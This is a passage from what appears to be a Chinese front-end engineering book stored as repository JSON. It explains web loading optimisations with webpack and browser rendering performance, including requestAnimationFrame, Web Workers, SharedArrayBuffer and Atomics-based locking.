DNS 解析、TCP 握手和 TLS 协商的工作，但并不会提前加载资源，用法如下代码所示。\n\n```html\n<link rel=\"preconnect\" crossorigin=\"anonymous\" href=\"https://use.fontawesome.com\">\n```\n\nDNS 预解析与预连接类似，通过 `<link rel=\"dns-prefetch\">` 声明，但仅会提前进行 DNS 解析。\n\n### 预取\n\n预取通过 `<link rel=\"prefetch\">` 声明，通常用于提前加载用户接下来可能需要的资源，如点击“下一页”的页面等。浏览器会在空闲时，使用最低优先级下载预取的资源，用法如下代码所示。\n\n```html\n<link rel=\"prefetch\" href=\"/next-page.html\">\n```\n\n浏览器并不会递归地进行预取。如上述例子中，`next-page.html` 需要预取的资源，并不会在当前页面提前下载。\n\n### 懒加载\n\n可以对图像资源采用“懒加载”策略，即仅加载当前在视口内的图像，而对于视口外未加载的图像，在其即将滚动进入视口时才开始加载。\n\n`IntersectionObserver` 可以帮助我们高效地判断元素是否进入视口。一个简单的图像懒加载功能实现如下：\n\n```js\ndocument.addEventListener('DOMContentLoaded', () => {\n  const images = [...document.querySelectorAll('img')]\n  const observer = new IntersectionObserver(entries => {\n    entries.forEach((entry) => {\n      if (!entry.isIntersecting) {\n        return\n      }\n\n      const image = entry.target\n\n      image.src = image.dataset.src\n      image.srcset = image.dataset.srcset\n      observer.unobserve(image)\n    })\n  })\n\n  images.forEach(image => observer.observe(image))\n})\n```\n\n但 `IntersectionObserver` 的浏览器兼容性目前并不太好，可按需引入相应的 polyfill 进行兼容。当然，也可以使用较传统的方法，监听图像元素的 `scroll`、`resize`、`orientationchange` 事件，通过 `getBoundingClient()` 来判断元素是否在视口内，从而实现懒加载。\n\n```js\nimport {throttle} from 'lodash'\n\ndocument.addEventListener('DOMContentLoaded', () => {\n  let images = [...document.querySelectorAll('img')]\n  const lazyLoad = throttle(() => {\n    images = images.filter((image) => {\n      const imageRect = image.getBoundingClientRect()\n\n      if (imageRect.top >= innerHeight || imageRect.bottom < 0 || getComputedStyle(image).display == 'none') {\n        return true\n      }\n\n      image.src = image.dataset.src\n      image.srcset = image.dataset.srcset\n      return false\n    })\n\n    if (images.length == 0) {\n      document.removeEventListener('scroll', lazyLoad)\n      window.removeEventListener('resize', lazyLoad)\n      window.removeEventListener('orientationchange', lazyLoad)\n    }\n  }, 200)\n\n  document.addEventListener('scroll', lazyLoad)\n  window.addEventListener('resize', lazyLoad)\n  window.addEventListener('orientationchange', lazyLoad)\n})\n```\n\n需要注意的是，我们还应该根据图像加载后的大小，设置图像占位符。这样可以避免图像加载后触发页面重新布局，造成页面闪烁。关于页面布局的详细内容，在后面章节的[渲染性能](./2-rendering-performance.md)的内容里会详细介绍。\n\n对于视频同样可以采用懒加载策略。与图像懒加载的差别是，占位符使用 `<video>` 的 `poster` 属性实现，以及需要遍历子 `<source>` 元素将 `data-src` 修改为 `src` 。由于原理十分类似，这里不再重复展开。\n\n## 使用 webpack 优化资源加载\n\nwebpack 是现代 Web 应用最常用的资源打包工具。接下来会以 webpack 4 为例，简单介绍一下如何使用 webpack 实现上文提到的各种优化手段。对于其他版本的 webpack，仅在具体配置上可能会有所出入，而背后的原理都是相同的。\n\n### 区分开发环境和生产环境\n\n设置 node 环境变量 `NODE_ENV` 可以用来区分开发环境和生产环境，一般用 `development` 表示开发环境，而 `production` 则表示生产环境。设置后，我们就可以在项目的构建脚本中，通过 `process.env.NODE_ENV` 获取当前环境，根据环境进行 webpack 的差异化配置了。\n\n通常会使用 cross-env 库提供的 `cross-env` 命令来设置环境变量，这样做是为了兼容 Windows 系统。\n\n```shell\ncross-env NODE_ENV=production webpack\n```\n\n同时，需要将 webpack 配置中的 `mode` 选项设置为对应的环境。webpack 会根据不同环境，进行一些默认的配置，如 `mode` 为 `production` 时，会将 `optimization.minimize` 设置为 `true`，表明 webpack 将会使用 `TerserPlugin` 插件压缩 JavaScript 构建产物。关于不同 `mode` 配置下的详细效果，可参考官方文档。\n\n```js\n// webpack.config.js\nmodule.exports = {\n  mode: 'production' // 或 'development'\n}\n```\n\n设置 `mode` 后，项目中就可以根据不同环境编写代码了，如仅在开发环境下才输出的日志等。这是由于 webpack 会使用内置的 `DefinePlugin` 插件将项目源代码中出现的所有 `process.env.NODE_ENV` 直接替换为 `mode` 对应的环境。\n\n```js\nif (process.env.NODE_ENV === 'development') {\n  console.log('This app is in development mode.')\n}\n```\n\n上述代码，在生产环境下会被编译为：\n\n```js\nif ('production' === 'development') {\n  console.log('This app is in development mode.')\n}\n```\n\n这个分支的判断条件始终为 `false`。从而，在 webpack 生产环境下默认开启使用的 `TerserPlugin` 插件，会将这段代码完全删除。我们在构建产物中将看不到整个 `if` 语句块了。\n\n### Tree shaking\n\n历史上，JavaScript 有过多种模块化标准，如 CommonJS、AMD 和 ES modules。我们在实际项目中使用的第三方库，通常会提供通过 CommonJS 和 ES modules 导出的两个版本。一个典型的 `package.json` 文件，包含 `main` 和 `module` 两个字段，分别是通过两种模块化标准导出的文件入口。webpack 优先会读取 `module` 字段表明的文件入口。当 `module` 不存在时，才会从 `main` 中导入。\n\n```json\n{\n  // ...\n  \"main\": \"lib/index.js\",\n  \"module\": \"es/index.js\",\n  // ...\n}\n```\n\n由于 CommonJS 标准允许在代码中动态导入其他模块，从而无法准确分析哪些模块被导入了。但 ES modules 标准的模块导入是静态的，使得模块间依赖可以通过静态分析来更好地优化了。关于 ES modules 标准新增的动态导入特性 `import()`，会在后面的[合理拆分代码](#合理拆分代码)章节中详细介绍，下面先来看一个简单的示例，假设现在有两个文件 `math.js` 和 `index.js`，它们的内容分别如下所示：\n\n```js\n// math.js\nexport const add = (a, b) => a + b\n\nexport const mul = (a, b) => a * b\n```\n\n```js\n// index.js\nimport {add} from './math'\n\nconsole.log(add(1, 2))\n```\n\n上述代码中，`mul` 函数将不会出现在构建产物中。这种优化技术被形象地称作 Tree shaking（摇树）。`mul` 函数就像树上枯萎的叶子一样，摇树后自然就掉下来了。\n\n在实际项目中，为了浏览器兼容性考虑，我们通常会使用 Babel 等编译器来编译现代 JavaScript 代码。为了启用 Tree shaking，应该确保编译器不将 ES modules 语法编译到其他模块化标准。\n\n部分常用的第三方库无法使用 Tree shaking，通常需要使用专门的工具进行处理。如 `babel-plugin-lodash` 会对引入了 `lodash` 的文件进行额外处理。\n\n```js\n// 处理前\nimport _ from 'lodash'\nimport { add } from 'lodash/fp'\n\nconst addOne = add(1)\n_.map([1, 2, 3], addOne)\n```\n\n```js\n// 处理后\nimport _add from 'lodash/fp/add'\nimport _map from 'lodash/map'\n\nconst addOne = _add(1)\n_map([1, 2, 3], addOne)\n```\n\n容易看出，不经过处理的文件会引入整个 lodash 库，这不是我们想要的结果。而经过 babel-plugin-lodash 处理后，则仅会引入我们所需的两个函数，大大减小了打包后的代码体积。\n\n对于另一个体积较大的第三方库 moment 来说，使用 `ContextReplacementPlugin` 可以仅引入我们所需的本地化语言，而不是将所有语言都打包进来。\n\n```js\n// webpack.config.js\nconst {ContextReplacementPlugin} = require('webpack')\n\nmodule.exports = {\n  // ...\n  plugins: [\n    new ContextReplacementPlugin(/moment[/\\\\]locale$/, /zh-cn/)\n  ]\n}\n```\n\n### 启用长期缓存\n\nwebpack 在生成打包文件时，可以在文件名中插入一段仅与文件内容相关的哈希值。仅当该文件更新后，缓存才会失效，这样可以充分利用 HTTP 缓存。\n\n配合 html-webpack-plugin 插件可以很方便地将生成的打包文件路径插入 HTML 中。\n\n注意到 webpack 自身有一些运行时的代码，容易破坏缓存有效性，我们应该将这些代码单独打包。进一步的，可以将打包后的 webpack 运行时代码直接插入 HTML 中，以节省一次 HTTP 请求。\n\n打包文件中模块的相互引用，都是通过 webpack 赋予的 id 来查找的，默认为自增的计数器。当新增或删除某些模块时，对应的 id 很可能会发生改变，这样就破坏了长期缓存。同样道理，我们应该使用稳定的哈希值作为模块的 id。\n\n```js\n// webpack.config.js\nconst {HashedModuleIdsPlugin} = require('webpack')\nconst HtmlPlugin = require('html-webpack-plugin')\nconst InlineManifestPlugin = require('inline-manifest-webpack-plugin')\n\nmodule.exports = {\n  output: {\n    filename: '[name].[chunkhash].js'\n  },\n  optimization: {\n    runtimeChunk: 'single'\n  },\n  plugins: [\n    new HashedModuleIdsPlugin(),\n    new HtmlPlugin(),\n    new InlineManifestPlugin()\n  ]\n}\n```\n\n### 合理拆分代码\n\n我们往往不需要在首屏一次性加载所有 JavaScript 代码。为了加快首屏展现的速度，可以将当前暂时不需要的代码拆分出去。webpack 支持根据 `import()` 方法的调用处，把异步加载的模块拆成一个独立的 JavaScript 分片。\n\n假设现在有一个首屏渲染用不到的 `huge-component.js` 模块，其代码如下所示：\n\n```js\n// huge-component.js\nexport default HugeComponent = () => /* ... */\n```\n\n在首页引入的 `index.js` 模块中，为了不默认将 `huge-component.js` 模块引入进来打包成一个大的产物，可以借助 `import()` 方法将 `huge-component.js` 模块拆分出去，如下代码所示：\n\n```js\n// index.js\nif (/* ... */) {\n  import('./huge-component').then(({default: HugeComponent}) => /* ... */)\n}\n```\n\n上述例子通过 webpack 打包后，会将 `huge-component.js` 作为一个打包新入口，拆成一个独立的 JavaScript 文件。仅在 `if` 语句块内执行 `import()` 时，才会对该分片 JavaScript 资源发送异步请求。\n\n合理拆分代码，不仅能显著提升首屏加载性能，还能获得更好的缓存效果。当仅修改少数几个分片的代码时，其他分片的缓存仍然有效。\n\n### 压缩文本内容\n\nJavaScript 在生产环境下默认开启压缩，无需额外配置。这里以 CSS 为例，在 webpack 中使用 postcss-loader，利用 PostCSS 的插件 cssnano 可以完成 CSS 的压缩，并且可以额外使用 autoprefixer 完成补全属性前缀的任务。postcss-loader 对应的 `postcss.config.js` 配置文件如下：\n\n```js\n// postcss.config.js\nmodule.exports = {\n  plugins: {\n    autoprefixer: {},\n    cssnano: {\n      preset: [\n        'default', {\n          discardComments: {\n            removeAll: true\n          }\n        }\n      ],\n      zindex: false,\n      reduceIdents: false\n    }\n }\n}\n```\n\n对于其他资源，也会有对应的 loader 或 plugin 来完成压缩任务，这里不再一一列举。\n\n### 分析资源体积\n\nwebpack-bundle-analyzer 是一个关于 webpack 构建产物的可视化插件，可以清晰地看到构建产物的体积，以及这些产物分别包含了哪些模块。我们能得知对于资源体积的优化是否生效，并分析出后续的优化方向。也能轻易监控出是否意外引入了不必要的库，增大了构建产物的体积。\n\n```js\n// webpack.config.js\nconst {BundleAnalyzerPlugin} = require('webpack-bundle-analyzer')\n\nmodule.exports = {\n  // ...\n  plugins: [\n    new BundleAnalyzerPlugin()\n  ]\n}\n```\n"
  },
  {
    "path": "chapter08/2-rendering-performance.md",
    "content": "# 渲染性能\n\n在上文中，我们从多个角度讨论了如何优化页面加载性能。但一个用户体验良好的页面，不仅要快速加载，还需要有一系列流畅的交互。从而，这一节我们把目光投向页面渲染性能。\n\n## 渲染流程\n\n浏览器在渲染页面前，首先会将 HTML 文本内容解析为 DOM，将 CSS 解析为 CSSOM。DOM 和 CSSOM 都是树状数据结构，两者相互独立，但又有相似之处。DOM 树描述了 HTML 标签的属性，以及标签之间的嵌套关系，如 `<html>` 对象的子节点包含 `<head>` 和 `<body>` 对象，而 `<body>` 对象的子节点可能有 `<div>` 对象等。CSSOM 树与 DOM 树类似，但节点描述的是由 CSS 解析得到的选择器及其样式信息。\n\n接着，浏览器会将 DOM 和 CSSOM 树合并成渲染树。从 DOM 树的根节点开始遍历，并在 CSSOM 树中查找节点对应的样式规则，合并成渲染树中的节点。在遍历的过程中，不可见的节点将会被忽略，如 `<script>`、`<link>` 等标签，以及样式中含有 `display: none` 的节点，但含有 `visibility: hidden` 的节点会被保留。这也是为什么后者仍会在页面中占据布局空间的原因。\n\n渲染树随后会被用于布局，就是计算渲染树节点在浏览器视口中确切的位置和大小。布局的过程十分复杂。比如，一个普通的块级元素，其宽度会依赖于父元素的宽度，而高度则会依赖这个元素的内容。又比如，多个普通的块级元素，原本只会在页面中从上到下排列，但通过 Flexbox、浮动或定位，会改变元素布局的行为。显而易见，浏览器进行一次布局的性能开销较大，我们需要小心地避免频繁触发页面重新布局。\n\n得到渲染树节点的几何布局信息后，浏览器就可以将节点绘制到屏幕上了，包括绘制文本、颜色、边框和阴影等。绘制的过程，非常简略地说，首先会根据布局和视觉相关的样式信息生成一系列绘制操作，随后执行栅格化（栅格化是将向量图形格式表示的图像转换成位图以用于显示器或者打印机输出的过程），将待绘制项转换为位图存储在 GPU 中，最终通过图形库将像素绘制在屏幕上。\n\n页面不是一次性被绘制出来的。实际上，页面被分成了多个图层进行绘制，这些图层会在另一个单独的线程里绘制到屏幕上，这个过程被称作合成。合成线程可以对图层进行剪切、变换等\u0010\u0010处理，因此可以用于响应用户基本的滚动、缩放等操作，又不会受到主线程阻塞的影响。\n\n到目前为止，在经历了构建 DOM 和 CSSOM、构建渲染树、布局、绘制、合成等多个步骤后，渲染的基本流程就结束了。但我们能通过 JavaScript 操作 DOM 或修改样式，这会导致渲染树的重新计算，浏览器可能需要对页面重新布局、重绘与合成。\n\n## 关键渲染路径\n\n通过上文的介绍，我们知道渲染树是由 DOM 和 CSSOM 组合而成的。因此，在 HTML 和 CSS 没有加载完成前，页面不会渲染任何内容。换句话说，HTML 和 CSS 都是会阻塞页面渲染的资源。除此之外，JavaScript 也会阻塞页面渲染。浏览器在解析 HTML 时，如果遇到 `<script>` 标签时，一般会暂停解析，直到 JavaScript 执行完毕后才会继续解析剩余的 HTML。对于外部 JavaScript，在执行前还需额外等待请求的时间。这些首屏渲染所必须的关键资源，共同组成了关键渲染路径。接下来，我们会讨论如何通过缩短关键渲染路径来优化首屏性能。\n\n### 延迟非关键 CSS 加载\n\n通过 `<link rel=\"stylesheet\">` 引用的 CSS 都会在加载时阻塞页面渲染。但 Web 应用中往往会有一些首屏渲染时用不到的 CSS，如弹框的样式等。为了使这些非关键 CSS 不阻塞页面渲染，我们可以通过别的途径声明 CSS 的加载。\n\n在上文 [加载性能](./1-loading-performance.md) 中提到，我们可以通过 `<link rel=\"preload\">` 预加载我们所需的资源。这里仅需稍作改动，就能满足我们的要求。\n\n```html\n<!DOCTYPE HTML>\n<html>\n<head>\n  <!-- ... -->\n  <link rel=\"preload\" as=\"style\" href=\"/dist/index.css\" onload=\"this.onload=null;this.rel='stylesheet'\">\n  <!-- ... -->\n</head>\n</html>\n```\n\n上面的例子非常直观，我们在 `<link rel=\"preload\">` 中监听了 `onload` 事件，并在 CSS 加载完成后，通过修改 `rel` 为 `stylesheet` 来将 CSS 应用到页面上，这就绕过了 CSS 会阻塞页面渲染的限制了。在需要考虑浏览器兼容性的情况下，推荐使用 [loadCSS](<https://github.com/filamentgroup/loadCSS>) 来实现非关键 CSS 的加载。\n\n对于首屏渲染所必须的关键 CSS，可以考虑通过 `<style>` 内联，或使用 HTTP/2 服务端推送的方式来加载，可以节省一次网络请求。这里不再进一步展开。\n\n### async 和 defer\n\n上文提到，页面中的 `<script>` 会阻塞后续 DOM 的构建。为了使 JavaScript 能与页面中所有的 DOM 进行交互，最常见的引入方式是将 `<script>` 置于 `<body>` 的最底部。\n\n```html\n<!DOCTYPE HTML>\n<html>\n<head>\n  <!-- ... -->\n</head>\n<body>\n  <!-- ... -->\n  <script src=\"/dist/vendor.js\"></script>\n  <script src=\"/dist/app.js\"></script>\n</body>\n</html>\n```\n\n绝大多数情况下，我们都不会使用如 `document.write()` 这样的方法，所以 `<script>` 在页面中的位置通常都是无关紧要的。另外，JavaScript 可能会修改样式，如果此时 CSSOM 树还未构建完成，则 JavaScript 的执行又会进一步被 CSS 加载所阻塞。针对这些弊端， `<script>` 提供了 `async` 和 `defer` 两个属性，它们的用法十分类似。\n\n```html\n<!DOCTYPE HTML>\n<html>\n<head>\n  <!-- ... -->\n  <script async src=\"/dist/vendor.js\"></script>\n  <script defer src=\"/dist/app.js\"></script>\n  <!-- ... -->\n</head>\n<body>\n  <!-- ... -->\n</body>\n</html>\n```\n\n当浏览器解析到 `<script async>` 时，会对该 JavaScript 文件发起异步请求。请求成功后才会暂停 HTML 解析，并立即执行 JavaScript。在实际项目中容易发现，多个 `<script async>` 的执行顺序是不确定的。而且在 JavaScript 执行时，页面的 DOM 可能还未全部构建完成。\n\n对于 `<script defer>` 来说，浏览器同样会发起异步请求，但 JavaScript 会延迟到 HTML 解析完毕后依次执行。此时 JavaScript 已经能和完整的 DOM 进行交互了。\n\n两者各有千秋，选择 `<script async>` 还是 `<script defer>` 完全取决于我们的实际需求。\n\n## 非阻塞 JavaScript\n\n由于 JavaScript 一般是单线程执行的，长时间执行的任务会阻塞浏览器的主线程，使页面失去响应。当响应用户操作的时间超过 100ms 时，用户就已经能察觉到轻微的延迟和卡顿了。为了能在 100ms 内快速响应用户的操作，应尽量在 50ms 内处理事件。这是由于当前事件触发时，可能会有其他正在处理的事件，阻塞了当前事件的响应，造成页面卡顿。如果每个事件都在 50ms 内处理完，那么至多只需 100ms 就能响应用户的操作了。如果确实需要超过 50ms 才能处理完事件，就应该给用户提供执行进度的反馈。\n\n同时，用户对于不流畅的滚动或动画十分敏感，一般要求页面帧率应达到每秒 60 帧。在这个帧率下，每帧的渲染需要在 16ms 内完成。但浏览器还需要花费大约 6ms 的时间将一帧绘制到屏幕上，从而只给我们留下了 10ms 时间生成一帧。由此可见，动画对于实时性要求比较苛刻，我们应该尽可能不在动画中进行其他计算。如果确实需要计算相关数据的，可以尝试将这些逻辑移到上文所述处理事件的 50ms 内进行预处理。\n\n当页面无法及时响应用户操作，或者存在复杂和低效的动画时，最终都会严重影响用户体验。\n\n\n### 页面滚动\n\n最常见的动画是由用户触发的滚动操作。在移动 Web 应用中，当我们拖动屏幕时，页面一般会跟随手指进行滚动。但当我们监听 `touchstart`、`touchmove` 等事件时，由于合成线程并不知道我们是否会通过 `event.preventDefault()` 来阻止默认的滚动行为，从而在每次事件触发时，都会等待事件处理函数执行完毕后再进行页面滚动。这通常会导致较明显的延迟，影响页面滚动的流畅性。\n\n```js\ndocument.addEventListener('touchstart', handleTouchStart, {passive: true})\n```\n\n我们可以通过在 `addEventListener()` 时声明 `{passive: true}` ，来表明事件处理函数不会阻止页面滚动，使得用户的操作更快得到响应。\n\n### requestAnimationFrame\n\nJavaScript 可以进行样式更新，而动画则是以 16ms 为间隔的一连串的样式更新组成。最直接的想法是，可以通过 `setInterval()` 或递归调用 `setTimeout()` 来编写动画，如下代码所示。\n\n```js\nfunction render () {\n  element.style.top = element.offsetTop + 1 + 'px'\n  element.style.left = element.offsetLeft + 1 + 'px'\n  setTimeout(render, 16)\n}\n\nsetTimeout(render, 16)\n```\n\n上述代码实现了一个性能非常差劲的动画，其效果是使一个绝对定位的元素，从页面左上至右下漂浮。但我们用肉眼就能发现，动画产生了卡顿和掉帧的现象。这是由于 `setTimeout` 和 `setInterval` 的回调函数会在浏览器渲染两帧之间的任何时间点执行，而定时器的 16ms 又不是特别精确，从而有可能使一次样式变更错过浏览器渲染。\n\n为了实现平滑流畅的动画效果，我们应该使用 `requestAnimationFrame()` 方法来代替定时器，`requestAnimationFrame()` 方法接收一个回调函数为参数，其回调函数不在浏览器事件循环中调度，而是在浏览器渲染下一帧之前执行，这可以确保动画不会掉帧。`requestAnimationFrame` 的回调函数接收一个高精度时间戳 `timestamp`，类似于 `performance.now()` 的返回值，代表回调被执行的精确时间，其用法通常如下代码所示。\n\n```js\nfunction render (timestamp) {\n  // 执行渲染的具体逻辑\n  // ...\n  requestAnimationFrame(render)\n}\n\nrequestAnimationFrame(render)\n```\n\n对于需要长时间执行的任务，我们可以尝试把它拆分成多个小任务，然后通过 `requestAnimationFrame()` 进行调度，以确保页面的流畅性。上文提到生成一帧的时间应该在 10ms 内，所以保守估计，帧间任务的执行时间最好不要超过 3 ~ 4ms，通常做法如下代码所示。\n\n```js\nfunction scheduleWork (timestamp) {\n  let currentTimestamp\n  while (currentTimestamp - timestamp < 4 && tasks.length > 0) {\n    performWork(tasks.pop())\n    currentTimestamp = performance.now()\n  }\n  tasks.length > 0 && requestAnimationFrame(scheduleWork)\n}\n```\n\n### requestIdleCallback\n\n `requestIdleCallback` 允许我们将任务安排在浏览器空闲时执行。我们可以将一些不太重要的任务推迟，如发送日志等。`requestIdleCallback` 的回调函数接收一个参数 `deadline`，包含 `timeRemaining()` 方法和 `didTimeout` 属性。`timeRemaining()` 返回一个高精度时间戳，表示还剩多少时间执行任务。我们在上文反复提到，应该在 50ms 内处理事件，这对于 `requestIdleCallback` 来说也是一样的，所以 `timeRemaining()` 的初始值为 50ms。\n\n```js\nfunction scheduleWork (deadline) {\n  while (deadline.timeRemaining() > 5 && tasks.length > 0) {\n    performWork(tasks.pop())\n  }\n  tasks.length > 0 && requestIdleCallback(scheduleWork)\n}\n\nrequestIdleCallback(scheduleWork)\n```\n\n上述代码与 `requestAnimationFrame` 中的例子十分相似。假设每个任务都能在 5ms 内完成，那么我们可以设定，当剩余空闲时间大于 5ms 时，继续处理剩余任务，否则就优先确保页面能及时响应用户操作，并将剩余的任务重新调度。\n\n由于我们并不知道浏览器何时才会空闲，因此 `requestIdleCallback` 回调函数的执行时机是不确定的。但它提供了一个超时机制，能确保在等待超时后执行回调函数，此时 `timeRemaining()` 为 `0`，而 `didTimeout` 为 `true`。\n\n```js\nrequestIdleCallback(scheduleWork, {timeout: 2000})\n```\n\n不过我们最好不要指定超时时间，因为这还是有可能导致页面无法及时响应用户操作。另外，由于不确定的执行时机，我们绝不应该在回调函数里操作 DOM，或进行任何样式变更，而应该放在 `requestAnimationFrame` 的回调函数中执行。\n\n### Web Workers\n\n对于需要长时间执行的任务，另一个解决方案是使用 Web Workers，在第四章介绍 Service Worker 的时候我们已经知道，Web Workers 是独立于主线程的独立工作线程，我们可以将一些耗性能的逻辑放在 worker 线程中进行处理，这样主线程就能继续响应用户操作和渲染页面了。在 Worker 线程中，我们无法访问主线程中的 DOM 或其他数据，仅能通过 `postMessage()` 与主线程进行数据通信。下面可以看一个最简单的 Web Workers 的示例，假设存在一个主线程入口 `main.js`，其内容如下：\n\n```js\n// main.js\nconst worker = new Worker('worker.js')\n\nworker.addEventListener('message', event => console.log(event.data)) // 3\n\nworker.postMessage([1, 2])\n```\n\n上面代码可以看出，通过 `new Worker('worker.js')` 的方式初始化了一个 worker 线程，和 Service Worker 一样，worker 线程执行的逻辑都会在 `worker.js` 中实现，下面代码展示的是 `worker.js` 的内容。\n\n```js\n// worker.js\nself.addEventListener('message', event => {\n  const {data} = event\n  const sum = data[0] + data[1]\n\n  self.postMessage(sum)\n})\n```\n> 注意：\n> 出于安全考虑，Chrome 不支持通过 file 协议加载 Web Worker，如果你想本地直接运行代码，需要在启动 Chrome 时加上参数 --allow-file-access-from-files，或者你可以使用 FireFox 进行调试，FireFox 目前没有此限制。\n\n上述例子中，通过 Worker 线程计算了 `1 + 2` 的结果。这看起来没什么用，但却揭示了 Web Workers 最基本的用法。接下来我们可以再来看一些稍微复杂一点的例子。\n\n```js\n// main.js\nconst canvas = document.querySelector('canvas')\nconst offscreen = canvas.transferControlToOffscreen()\nconst worker = new Worker('worker.js')\n\nworker.postMessage({canvas: offscreen}, [offscreen])\n```\n\n```js\n// worker.js\nself.addEventListener('message', event => {\n  const {data: {canvas}} = event\n  const context = canvas.getContext('2d')\n\n  function render (time) {\n    // ...\n    self.requestAnimationFrame(render)\n  }\n\n  render()\n})\n```\n\n这是一个离屏 canvas 的使用例子。我们把主线程中的 canvas 移动到了 Worker 线程，并在 Worker 线程中进行 canvas 的绘制。前一个例子没有提到的细节是，主线程与 Worker 线程之间，通过 `postMessage()` 传递数据的方式是“结构化克隆”。这是一种类似深拷贝的算法，用于拷贝结构化数据。但是，直接拷贝显然是低效的，尤其是在传递较大的数据时，性能开销令人难以接受。庆幸的是，实现 `Transferable` 接口的对象，如 `ArrayBuffer`、`ImageBitmap` 和 `OffscreenCanvas`，都支持移动语义。我们可以在 `postMessage()` 的第二个参数中声明数据应该移动到 Worker 线程，而不是拷贝。通过 `postMessage()` 移动后的数据，在原来的线程里就无法读取到了。\n\n根据过往并发编程的经验，我们很容易会思考如何在 Web Workers 的多线程之间共享内存。`SharedArrayBuffer` 提供了共享内存的机制，在通过 `postMessage()` 传递数据时，不会进行结构化拷贝，而是在线程间共享相同的内存块。\n\n```js\n// main.js\nconst worker = new Worker('worker.js')\nconst length = 8\nconst size = Int32Array.BYTES_PER_ELEMENT * length\nconst sharedBuffer = new SharedArrayBuffer(size)\nconst sharedArray = new Int32Array(sharedBuffer)\n\nworker.postMessage(sharedBuffer)\n```\n\n```js\n// worker.js\nself.addEventListener('message', event => {\n  const {data: sharedBuffer} = event\n  const sharedArray = new Int32Array(sharedBuffer)\n\n  // ...\n})\n```\n\n显然，共享内存可能会引发线程安全问题，即代码在多线程环境下，运行结果无法预测，且往往丢失了正确性。一个简单的思路是，确保数据始终只由一个线程来写入，而对于其他线程是只读的，但这样并没有解决本质问题。为了确保线程安全，JavaScript 提供了原子操作类 `Atomics` ，包含了读取、赋值、加减、位运算等原子操作。\n\n```js\nsharedArray[i]++ // 线程不安全\n\nAtomics.add(sharedArray, i, 1) // 线程安全\n```\n\n原子操作表示最小不可分割的操作。上面是一个描述原子操作的经典例子。`sharedArray[i]++` 看似是一次递增操作，实际上包含了读取、修改与写入三步，而且写入的值依赖于先前读取的，这会引发线程安全问题，部分线程执行的递增操作可能丢失了。但使用原子操作 `Atomics.add()` 则是线程安全的，相当于将前者的三步操作合并成了一步，消除了多个线程之间的竞争态。\n\n但并不是使用了原子操作的代码就是线程安全的，我们来看下面的例子。\n\n```js\n// main.js\nconst workers = Array.from(Array(4), () => new Worker('worker.js'))\nconst size = 2 * Uint8Array.BYTES_PER_ELEMENT\nconst cache = new SharedArrayBuffer(size)\n\nworkers.forEach((worker, index) => worker.addEventListener('message', event => {\n  const {data: {num, factorial}} = event\n\n  let target = 1\n\n  for (let i = 2; i <= num; i++) {\n    target *= i;\n  }\n\n  if (factorial !== target) {\n    console.log('Not thread safe:')\n  }\n\n  console.log(`${num}! = ${factorial}`)\n}))\n\nconst nums = Array.from(Array(128), () => Math.ceil(Math.random() * 5))\n\nnums.forEach((num, index) => {\n  workers[index & 3].postMessage({\n    num,\n    cache\n  })\n})\n\n```\n\n```js\n// worker.js\nself.addEventListener('message', event => {\n  const {data: {num, cache}} = event\n  const lastResult = new Uint8Array(cache)\n\n  if (Atomics.load(lastResult, 0) === num) {\n    return self.postMessage({\n      num,\n      factorial: Atomics.load(lastResult, 1)\n    })\n  }\n\n  let factorial = 1\n\n  for (let i = 2; i <= num; i++) {\n    factorial *= i\n  }\n\n  Atomics.store(lastResult, 0, num)\n  Atomics.store(lastResult, 1, factorial)\n  self.postMessage({num, factorial})\n})\n```\n\n上述代码是一个刻意构造的例子，将 128 个大小为 1~5 的数字分配给四个 Worker 线程计算阶乘，并将最近一次计算的结果缓存在共享内存 `cache` 里。虽然对 `cache` 的所有操作均为原子操作，但我们经过简单思考后就能发现，这段代码仍然不是线程安全的。因为我们不能保证两次读取 `lastResult` 之间，其他线程没有对其进行修改。同样，我们也不能保证能同时写入 `lastResult` 的两个值。\n\n对于单个共享变量而言，`Atomics.compareExchange` 提供了一种乐观锁的机制，可以仅在当前值符合预期时才进行写入。但对于多个共享变量的同步，我们通常需要使用互斥锁。注意到 `Atomics.wait()` 和 `Atomics.notify()` 的用法类似于 Linux 的 futex，我们可以利用这两个方法，实现一个简单的互斥锁。\n\n```js\nclass Mutex {\n  constructor (resources, index) {\n    this.resources = resources\n    this.index = index\n    this.locked = false\n  }\n\n  lock () {\n    if (this.locked) {\n      Atomics.add(this.resources, this.index, 1)\n      return\n    }\n    while (1) {\n      if (Atomics.load(this.resources, this.index) > 0) {\n        while (Atomics.wait(this.resources, this.index, 0) !== 'ok') {}\n      }\n      if (Atomics.compareExchange(this.resources, this.index, 0, 1)) {\n        continue\n      }\n      this.locked = true\n      return\n    }\n  }\n\n  unlock () {\n    if (!this.locked) {\n      return\n    }\n    if (Atomics.sub(this.resources, this.index, 1) === 1) {\n      this.locked = false\n    }\n    Atomics.notify(this.resources, this.index, 1)\n  }\n}\n```\n\n`resources` 在多线程中共享，用 `resources[index]` 表示 `index` 处被锁定的次数。通过 `lock()` 请求互斥锁时，会使用 `Atomics.wait()`\u0010 等待其他线程释放 `index` 处的锁。类似的，通过 `unlock()` 释放互斥锁时，会使用 `Atomics.notify()` 通知其他线程该处的锁已被释放。\n\n## 降低渲染树计算复杂性\n\n如上文提到的，渲染树由 DOM 和 CSSOM 树合并而成，对于每个 DOM 元素，需要查找与元素匹配的样式规则。从而，在尽量减少 DOM 元素节点的情况下，使用简单的 CSS 选择器是一个很自然的想法。\n\n```css\n.last-list-item {\n  /* ... */\n}\nul.list > li:last-child {\n  /* ... */\n}\n```\n\n在上面的例子中，使用一个类作为选择器，要比多种选择器混合使用简单得多。浏览器对于后者，需要花费更多的时间判断选择器与元素是否匹配。只在 CSS 中使用类选择器，并对类名使用 BEM (Block, Element, Modifier) 命名法，是一种组织 CSS 代码的好方式。类名由块、元素、修饰符三部分组成，如上面描述列表中最后一个元素的 BEM 命名法，可以命名为 `.list__list-item--last-child`。使用 CSS Modules 可以更方便地达到类似的效果。CSS Modules 是一种较为主流的 CSS-in-JS 解决方案，利用 webpack 等构建工具，可以对类选择器生成自定义格式的唯一类名，同样能减少浏览器匹配 CSS 选择器的开销。\n\n## 减少布局次数\n\n页面布局与元素样式的几何特性相关，对应的 CSS 属性包括盒模型、定位等。修改这些属性会引起一次页面重新布局，又被称作回流。上文提到，浏览器进行一次布局的开销很大，所以我们需要尽可能避免直接修改这些属性，尤其是不应将布局属性用于动画效果，否则会出现明显的掉帧现象。关于如何使用 CSS 编写高性能的动画，会在下一小节里详细讨论。\n\n通过 JavaScript 触发页面布局时，容易造成多种性能问题，其中最常见的是 forced 